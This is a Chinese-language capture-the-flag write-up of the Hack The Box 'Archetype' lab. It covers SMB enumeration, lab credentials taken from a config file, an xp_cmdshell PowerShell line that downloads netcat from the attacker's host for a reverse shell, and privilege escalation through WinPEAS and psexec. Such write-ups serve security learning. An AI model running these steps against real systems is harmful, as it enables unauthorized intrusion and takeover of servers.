Archetype靶机
n3ym4r

整个流程很明了,扫出开放端口,smb远程连接,拿到数据库密码,利用mssqlclient建立连接,利用xp_cmdshell传nc,反弹shell拿到普通用户权限,利用WinPEAS提权,拿到最高权限密码,再通过psexec拿最高权限shell。整体思路很明确,需要注意的是与数据库连接后xp_cmdshell的开启,通过xp_cmdshell执行powershell命令的写法,通过xp_cmdshell传nc和winpeas时的目录是否有写入权限,反弹nc时端口的开启。这里问答题不一一写出了,答案过程中都有。

常规nmap扫描

1

可以看到139和445端口开了smb服务,1433端口开了数据库。

用smbclient连接

smbclient -L 10.129.251.225 列出共享文件

image-20230203095017636

连接backups文件夹

image-20230203095632714

将prod.dtsConfig文件get到本地查看,得到passwd:M3g4c0rp123,user id:ARCHETYPE\SqL_svc

接下来利用impacket包下的mssqlclient.py与数据库建立连接

image-20230203111715329

执行SELECT IS_SRVROLEMEMBER(‘sysadmin’) 查看权限,回显1,表示当前用户有sysadmin权限

接着enable_xp_cmdshell; 获取xp_cmdshell

xp_cmdshell 可以让系统管理员以操作系统命令行解释器的方式执行给定的命令字符串,是 sql servevr 的原生工具

也就是说把xp_cmdshell开启后,可以在sql中执行系统命令。

本地监听80端口

image-20230203112527428

访问可以看到我们本机的文件

image-20230203112601959

也就是说,我们可以将payload放在本机中,然后通过xp_cmdshell来访问我们本机文件来下载到目标服务器

然后本地nc监听,目标服务器使用nc连接获取shell

image-20230203114202164

通过wget下载,发现没有权限

换个有执行写入权限的目录

image-20230203114914029

xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads;wget http://10.10.16.10/nc64.exe -outfile nc64.exe"

切换到downloads目录,通过wget获取到本机nc64.exe下载到目录下

xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads;dir"

dir查看文件是否下载成功

开启nc监听4443端口

image-20230203115240746

主机执行以下命令,开启nc

image-20230203122631401

反弹成功

image-20230203122730858

image-20230203123648716

拿到user下的flag

接下来,提权到root用户

使用到WinPEAS工具,这个 WinPEAS 是一个脚本,用于搜索在 Windows 主机上提升权限的可能方法,进行扫描

image-20230203125218952

在主机上执行

image-20230203125615881

在第一个文件中查看到了administrator的密码MEGACORP_4dm1n!!,这个ConsoleHost_history.txt是powershell的历史文件,相当于 Linux 系统的.bash_history

image-20230203125531424

接下来使用impacket包下的psexec.py进行连接登录

PsExec 是一个轻型的 telnet 替代工具,它使您无需手动安装客户端软件即可执行其他系统上的进程,并且可以获得与控制台应用程序相当的完全交互性。PsExec 最强大的功能之一是在远程系统和远程支持工具(如 IpConfig)中启动交互式命令提示窗口,以便显示无法通过其他方式显示的有关远程系统的信息。

最后连接这里,一直连接出错,就重启了台机器。

image-20230203140247659

得到root权限下的flag

image-20230203140457559